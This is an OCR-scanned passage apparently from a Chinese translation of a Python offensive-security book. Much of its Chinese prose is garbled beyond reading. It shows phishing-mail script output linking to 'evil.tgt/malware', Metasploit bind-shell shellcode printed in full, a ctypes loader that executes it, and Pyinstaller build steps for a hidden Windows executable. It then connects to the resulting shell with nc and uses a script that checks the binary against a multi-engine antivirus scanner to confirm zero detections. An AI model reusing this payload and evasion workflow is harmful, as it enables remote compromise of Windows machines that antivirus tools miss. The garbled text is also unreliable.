[+] Fetching interests from: redsox
[+] Fetching location information from: redsox

[+] Sending Msg: Dear redsox, Its me from toronto. @davidortiz
said

to say hello. Did you see all the fuss about #SoxAlIStars? I really

liked your link to:http://mlb.mlb.com. Check out my link to
http://

evil.tgt/malware
[+] Connecting To Mail Server.
[+] Starting Encrypted Session.
[+] Logging Into Mail Server.
[+] Sending Mail.

[+] Mail Sent Successfully.

FERL

BRXNTEARATRE—MATERL | BEMHARERTHAIESRAAESS
MHREZE, Python MIEMHANES RIFER RIRERICIE—NT% , EANE
EXR)_ EHEIRITTARETR | ERBGETERIF . IR+, BeelE T —
NSRRI SRR ERNEIN T BRI , MERMLG , EREKAY Google , FIF
Twitter Sk 7B EFRIES(EEI08E | ARICERNET AIE— TR FHE
HHEERAF. BENANERRRERG TIER | SAErVR LR ENS AR
HATRIEL. s, —BBRIFS TIAMNSERTERER | MEAEMuGEE
HREEEREHEN. MTAEENEMGEERN EXERERERIEEN  (BR
58 ARY Python MIEREAIFAIIE— P RRVENIZES T/ UM AEGRIAR.
MEX—] , KEARIFERTIIBAES | (RRVBRZWNERINESS ? t4ar
FRYERALSKIEEER ? {REA— Python RREBMTEEERMRIRE
=1



575 RiBRBRA
RENS :

1.{8F Python Ctypes T{E

2.{&F Python BREERSIR M

3.{E[ Pyinstaller {37 Win32 TJH{Ti2R
4.7 HTTPLib &i¥ GET/POST igK

5. & RS REEE

XE— BN ERIREBRNERE  TieRZ K@K, TielR
ZARIE | (RERLBHESZ R !

—Saulo Ribeiro BFEEA ;SRR EE
&7} : Flame !

2012 £ 5 H 28 H , {ARARY Maher FIOMEIRE] T —PNE B RIT BRI
. RNMKERIRNES |, 43 FRE5(2/Y 43 Fillidtt T EPEAHER S
PEERREERE. AL ASCI FRFEHMAERBH/EEEFR A Flame
RS HIN BN AR R EFRNERITEVEIRE. wiF Lua FIARERS
Beetlejuice, Microbe, Frog, Snack, and Gator , JZEHX{4m@NELIEFICR
SOM , RERMHaRIES | LEEEFIAUERITEREHm IR,

EIHERRMEEEERMET | Kapersky SCIRERIRAVFERR Flame 225

FIEEMREFRIRM—". BIRAFHERLEENSER, A, 0EIHE
PRSP E A CNRCEDRE T ? tIREENEI EREAXRZHRENR
HRERKBETERIWEATEENGE. RE—L BnRE—LE
SXRNLFIEANBEREE | (BEXERARIERS.



EEE—E  BI1EE— RSRERRERSS |2, MERRSEER
Mark Baggett LY , KY—FRICHE 7 MBGIE. A . I RSHKEN
FiEEAENSERERHEART A, iEEEI Flame , (FR7T4RIFAY Lua BIA,
B MESEW Mark B9737% | #wi% Python BIZAS79 Windows BIHTHER: , AT 5
EEREBYG.

PREER BN

RNTREERRY , HAIIEETEREY, Metasploit {EZRE ST —INEEKB
E. FAIRTLAERS Metasploit Ap—L C X#&AY ShellCode {E/ERERIGHIIN
thfarEk. B SFEREEAT Windows 48%E shell , 15485 cmd.exe & TCP w0 :
XTI EE RS R EFH A Ha<$H cmd.exe F2FIEZH.

attacker:~# msfpayload windows/shell_bind_tcp LPORT=1337 C
/*

*k

windows/shell_bind_tcp - 341 bytes

* http://www.metasploit.com

* VERBOSE=false, LPORT=1337, RHOST=, EXITFUNC=process,

* InitialAutoRunScript=, AutoRunScript=

*/

unsigned char buf[] =

"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52
\x30"

"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31
\ xff"

"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xcl1\xcf\x0d\x01\xc7\
xe2"

"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78
\x85"

"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd
3\xe3"



"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xcl\xcf\
x0d"

"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2
\x58"

"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3
\x8b"

"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x5
1 \xffll

"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00
\x68"

"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07 \xff\xd5\xb8\x90\
x01"

"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50
\x50"

"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\
xc7"

"\x31\xdb\x53\x68\x02\x00\x05\x39\x89\xe6\x6a\x10\x56\x5
7\x68"

"\xc2\xdb\x37\x67 \xff\xd5\x53\x57\x68\xb7\xe9\x38 \xff\xff\x
d5ll

"\x53\x53\x57\x68\x74\xec\x3b\xel\xff\xd5\x57\x89\xc7\x68
\x75"

"\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57
\x57"

"\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01
\x01"

"\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x5
6\x4e"

"\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\
x56"

"\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\
x56"

"\x68\xa6\x95\xbd\x9d \xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\
x75"

"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";



ETER  BNE— 1 HEEHRITIXA CXIHE shellcode, Python SBIFSAIMNER
EB9EE. BATRILASA ctypes |, BT CIESHEIEREIRE., ©X
— NN ETFEFRAIN shellcode Zf5 , FATEREUECIEL— N REFHITE |
TEARKSE | BAWRFX 479 bindshell.py,

from ctypes import *

shellcode =
("\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64

\x8b\x52\x30"

"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31
\xff"

"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xcl1\xcf\x0d\x01\xc7\
xe2"

"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78
\x85"

"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd
3\xe3"

"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xcl\xcf\
x0d"

"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2
\x58"

"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3
\x8b"

"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x5
1\x "

"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00
\x68"

"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07 \xff\xd5\xb8\x90\
x01"

"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50
\x50"

"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\
xc7"



"\x31\xdb\x53\x68\x02\x00\x05\x39\x89\xe6\x6a\x10\x56\x5
7\x68"

"\xc2\xdb\x37\x67 \xff\xd5\x53\x57\x68\xb7\xe9\x38 \xff\xff\x
d5ll

"\x53\x53\x57\x68\x74\xec\x3b\xel\xff\xd5\x57\x89\xc7\x68
\x75"

"\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57
\x57"

"\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01
\x01"

"\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x5
6\x4e"

"\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\
x56"

"\x46 \xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\
x56"

"\x68\xa6\x95\xbd\x9d \xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\
x75"

"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5");
memorywithshell = create_string_buffer(shellcode, len(shellcode))
shell = cast(memorywithshell, CFUNCTYPE(c_void_p))

shell()

MATRIA RIS ST Python fRRESSRY Windows _E3#4T | 1EF( 1@
Pyinstaller @RS E. (RJLAM : http://www.pyinstaller.org/3%18).
Pyinstaller 1 Python BIAZmIE M IZAIATHITIER | D RGISETE
Python f#REERRIRA(EA. EMmIFMIAZAT , 1517 Configure.py BIZASETE

Pyinstaller {REEZE,

Microsoft Windows [Version 6.0.6000]
Copyright (c) 2006 Microsoft Corporation. All rights reserved.
C:\Users\victim>cd pyinstaller-1.5.1



C:\Users\victim\pyinstaller-1.5.1>python.exe Configure.py
I: read old config from config.dat

I: computing EXE_dependencies

I: Finding TCL/TK...

<..SNIPPED..>

I: testing for UPX...

I: ...UPX unavailable

I: computing PYZ dependencies...

I: done generating config.dat

TR BA18IES Pyinstaller i=37—M5BASH/9 Windows BIBTHA TSI
R |, B T8HED Pyinstaller AE87R"—M=HIEF --noconsole 1% , ERZ2H4
B EREZTHITRRFRE— IR S 4-F3--onefile 51T,

C:\Users\victim\pyinstaller-1.5.1>python.exe Makespec.py --
onefile

--noconsole bindshell.py
wrote C:\Users\victim\pyinstaller-1.5.1\bindshell\bindshell.spec

now run Build.py to build the executable

TR, @3 TiRAXHE | Bl MEE Pyinstaller 37— ETHUTHD R
LBIAIRIZEE. Pyinstaller BE#—&74 bindshell.exe FIRTHITIERFERR
bindshell\dist\ T~ , FABERT LAD AIX AN AT HATIZFL5ET Windows 32 {iZ
FHIZEE.

C:\Users\victim\pyinstaller-1.5.1>python.exe Build.py bindshell\
bindshell.spec

I: Dependent assemblies of C:\Python27\python.exe:

I: x86_Microsoft.VC90.CRT_1fc8b3b9alel8e3b_9.0.21022.8_none



checking Analysis

<..SNIPPED..>

checking EXE

rebuilding outEXE2.toc because bindshell.exe missing
building EXE from outEXE2.toc

Appending archive to EXE bindshell\dist\bindshell.exe

AEFNRIZEZNRN DT TERFE | FATTLIEE] TCP AY 1337 in[
IEfERIf,

C:\Users\victim\pyinstaller-1.5.1\bindshell\dist>bindshell.exe
C:\Users\victim\pyinstaller-1.5.1\bindshell\dist>netstat -anp TCP
Active Connections

Proto Local Address oreign Address State

TCP  0.0.0.0:135 0.0.0.0:0 LISTENING

TCP  0.0.0.0:1337 0.0.0.0:0 LISTENING

TCP 0.0.0.0:49152  0.0.0.0:0 LISTENING

TCP  0.0.0.0:49153  0.0.0.0:0 LISTENING

TCP 0.0.0.0:49154  0.0.0.0:0 LISTENING

TCP 0.0.0.0:49155  0.0.0.0:0 LISTENING

TCP 0.0.0.0:49156  0.0.0.0:0 LISTENING

TCP 0.0.0.0:49157  0.0.0.0:0 LISTENING

CERERISEERY IP RN TCP B9 1337 %0 , HIIBZIRIRETEIETER
IHRIETT . IEANTREARVEREF. (BERERERIIRIFNE R SIS ? £ N —15FKkd()
BLRE— Python BIZASSKIGE :

attacker$ nc 192.168.95.148 1337

Microsoft Windows [Version 6.0.6000]



Copyright (c) 2006 Microsoft Corporation. All rights reserved.
C:\Users\victim\pyinstaller-1.5.1\bindshell\dist>

B ERIARSS vscan.novirusthanks.org 3 3fEA JHIRT HITIER.
NoVirusThanks 2t 7—4 WEB TE#ZO_LE TR A 14 MARBRS
5|83, £ WEB IEZO_HEERRESFIT AT LAF R FAVEXHER |, ik
BRI BIXMERE—MRIER Python BIZASKBE ML IEXMNIFE,
tcpdump #53KF0 WEB TUEE AR ERNDFELS 7 FAJRY Python BIARRS—/MEEF
RS, HATLEER , HTTP L8 8T — M ESFNFLFRENIRE. K
MBI AFZTEXLLFIXLSE |, TR :

POST / HTTP/1.1
Host: vscan.novirusthanks.org

Content-Type: multipart/form-data; boundary=----
WebKitFormBoundaryF17rwCZdGuPNPT9U

Referer: http://vscan.novirusthanks.org/
Accept-Language: en-us

Accept-Encoding: gzip, deflate

------- WebKitFormBoundaryF17rwCZdGuPNPT9U

Content-Disposition: form-data; name="upfile";
filename="bindshell.exe"

Content-Type: application/octet-stream
<..SNIPPED FILE CONTENTS..>

------ WebKitFormBoundaryF17rwCZdGuPNPT9U
Content-Disposition: form-data; name="submitfile"

Submit File



------ WebKitFormBoundaryF17rwCZdGuPNPT9U--

A TIAEER A httplib BE—MRERECE SUGFRIENSE. ST UFEIE
BNAZE , B T— 2 vscan.novirusthanks.org BOEEFHRILESFISEL,
TUEIR BRI RS A _ RIS N A TTHE.,

def uploadFile(fileName):
print("[+] Uploading file to NoVirusThanks...")
fileContents = open(fileName, 'rb').read()

header = {'Content-Type': 'multipart/form-data; boundary=----
WebKitFormBoundaryF17rwCZdGuPNPT9U'}

params = "------ WebKitFormBoundaryF17rwCZdGuPNPT9U"

params += "\r\nContent-Disposition: form-data;
"+"name=\"upfile\"; filename=\""+str(fileName)+"\""

params += "\r\nContent-Type: "+"application/octet
stream\r\n\r\n"

params += fileContents
params += "\r\n------ WebKitFormBoundaryF17rwCZdGuPNPT9U"

params += "\r\nContent-Disposition: form-data;
"+"name=\"submitfile\"\r\n"

params += "\r\nSubmit File\r\n"

params +="------ WebKitFormBoundaryF17rwCZdGuPNPTOU--
\r\nll

conn = httplib.HTTPConnection('vscan.novirusthanks.org')
conn.request("POST", "/", params, header)

response = conn.getresponse()

location = response.getheader('location’)

conn.close()

return location



KB M vscan.novirusthanks.org, iRSZ 2R EINENFER , FA IR LABRIIRSS =8
REIRIFEZEETIESEE : http://vscan.novirusthanks.org +/file/ + md5sum(file
contents) + / + baseb4(filename)/, ZTEE ST —LE JavaScript EFTEJ—LL
IHEIREEEANSNEE R BN T REESRT. EX—/<LE , TR
[B] HTTP 302 JRZSHS , Bk&EZF| http://vscan.novirusthanks.org + /analysis/
+md5sum(file contents) + / + base64(filename)/TRE., FAiJFHHI—RE

URL FRiEERAVAZHR T D HTHISAS -

Date: Mon, 18 Jun 2012 16:45:48 GMT
Server: Apache
Location:http://vscan.novirusthanks.org/file/

d5bb12e32840f4c3fa00662e412a66fc/bXNmMLWV4Z2Q==

WMo HNEAGEAS | HNE 8 —MURFRNFRE | ZFFHRES
T CSS R |, BAFESERBHIRFAFTENEZFIE,

[i]File Info[/i]

Report date: 2012-06-18 18:48:20 (GMT 1)

File name: [b]bindshell-exe[/b]

File size: 73802 bytes

MD5 Hash: d5bb12e32840f4c3fa00662e412a66fc

SHA1 Hash: e9309c2bb3f369dfbbd9b42deaf7c7ee5c29e364

Detection rate: [color=red]0[/color] on 14 ([color=red]0%][/color])

£ 7R T AENERE S TAEHFRIE CSS 53 , FATILURS Python BIZANFTED

A LGRS RIAEER. Bt , BN EREIREIREEERIX
HE , —BiXANRERE— HTTP 302 EEBEFEAINOHRE , BT

LAGEFRIENZRIATCERUG MRS E R CSS B ATFRFER. A MSFTENAME
WEFFFRIFRL



def printResults(url):
status = 200
host = urlparse(uri)[1]
path = urlparse(url)[2]
if 'analysis' not in path:
while status != 302:
conn = httplib.HTTPConnection(host)
conn.request('GET', path)
resp = conn.getresponse()
status = resp.status
print('[+] Scanning file...")
conn.close()
time.sleep(15)
print(‘[+] Scan Complete.')
path = path.replace('file’, 'analysis')
conn = httplib.HTTPConnection(host)
conn.request('GET', path)
resp = conn.getresponse()
data = resp.read()
conn.close()
reResults = re.findall(r'Detection rate:.*\) ', data)

htmliStripRes = reResults[1].replace('&It;font color=\'red\'&gt;’,
").replace('&lt;/font&gt;’, ")

print('[+] ' + str(htmiStripRes))

ISRV | BAIES— M IAREE_ HES4 |, £
vscan.novirusthanks.org IR , FATEDRRUER -



re
httplib
time
0S
optparse
urlparse urlparse

uploadFile(fileName):
("[*+] Uploading file to NoVirusThanks...")

fileContents = (fileName, 'rb").read()

header = {'Content-Type': 'multipart/form-data; boundary=----
WebKitFormBoundaryF17rwCZdGuPNPTOU'}

params = "------ WebKitFormBoundaryF17rwCZdGuPNPTOU"

params += "\r\nContent-Disposition: form-data;
"+"name=\"upfile\"; filename=\""+str(fileName)+"\""

params += "\r\nContent-Type: "+"application/octet stream

params += fileContents

params +="
WebKitFormBoundaryF17rwCZdGuPNPTOU"

params += "\r\nContent-Disposition: form-data;
"+"name=\"submitfile "

params += "\r\nSubmit File\r\n"

params +="------ WebKitFormBoundaryF17rwCZdGuPNPTIOU--

"

conn = httplib. HTTPConnection('vscan.novirusthanks.org')
conn.request("POST", "/", params, header)
response = conn.getresponse()
location = response.getheader('location')
conn.close()
location

printResults(url):
status =
host = urlparse(url)[ 1]
path = urlparse(url)[2]
'analysis' path:
status != ;
conn = httplib. HTTPConnection(host)
conn.request('GET', path)
resp = conn.getresponsel()
status = resp.status




('[+] Scanning file...")
conn.close()
time.sleep(15)
('[+] Scan Complete.")
path = path.replace('file', 'analysis')
conn = httplib. HTTPConnection(host)
conn.request('GET', path)
resp = conn.getresponse()
data = resp.read()
conn.close()
reResults = re.findall(r'Detection rate:.*\) ', data)
htmlStripRes = reResults[ | |.replace('&lt;font color=\"red\'&gt;'
").replace('&lt;/font&gt;', ")
('[+] ' + str(htmlStripRes))
main():
parser = optparse.OptionParser('usage%prog -f <filename>")
parser.add option('-f ='fileName' ='string’
='specify filename')
(options, args) = parser.parse _args()
fileName = options.fileName
fileName == :
(parser.usage)
(0)
os.path.isfile(fileName) == ;
('[+] ' + fileName + ' does not exist.")

(0)

loc = uploadFile(fileName)

printResults(loc)
__name ==' main_":
main()

'
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attacker$ msfpayload windows/shell_bind_tcp LPORT=1337 X >
bindshell.exe

Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell_bind_tcp
Length: 341
Options: {"LPORT"=>"1337"}
attacker$ python virusCheck.py -f bindshell.exe

[+] Uploading file to NoVirusThanks...
[+] Scanning file...
[+] Scanning file...
[+] Scanning file...
[+] Scanning file...
[+] Scanning file...
[+] Scanning file...
[+] Scanning file...
[+] Scanning file...
[+] Scanning file...
[+] Scan Complete.

[+] Detection rate: 10 on 14 (71%)

M, BRI TRIRA IR Python IAGRIFRIRTIAITIZER | BellJAT
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C:\Users\victim\pyinstaller-1.5.1>python.exe virusCheck.py -f
bindshell\dist\bindshell.exe

[+] Uploading file to NoVirusThanks...
[+] Scan Complete.

[+] Scanning file...



[+] Scanning file...
[+] Scanning file...
[+] Scanning file...
[+] Scanning file...
[+] Scanning file...
[+] Detection rate: 0 on 14 (0%)
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“We make war that we may live in peace.”



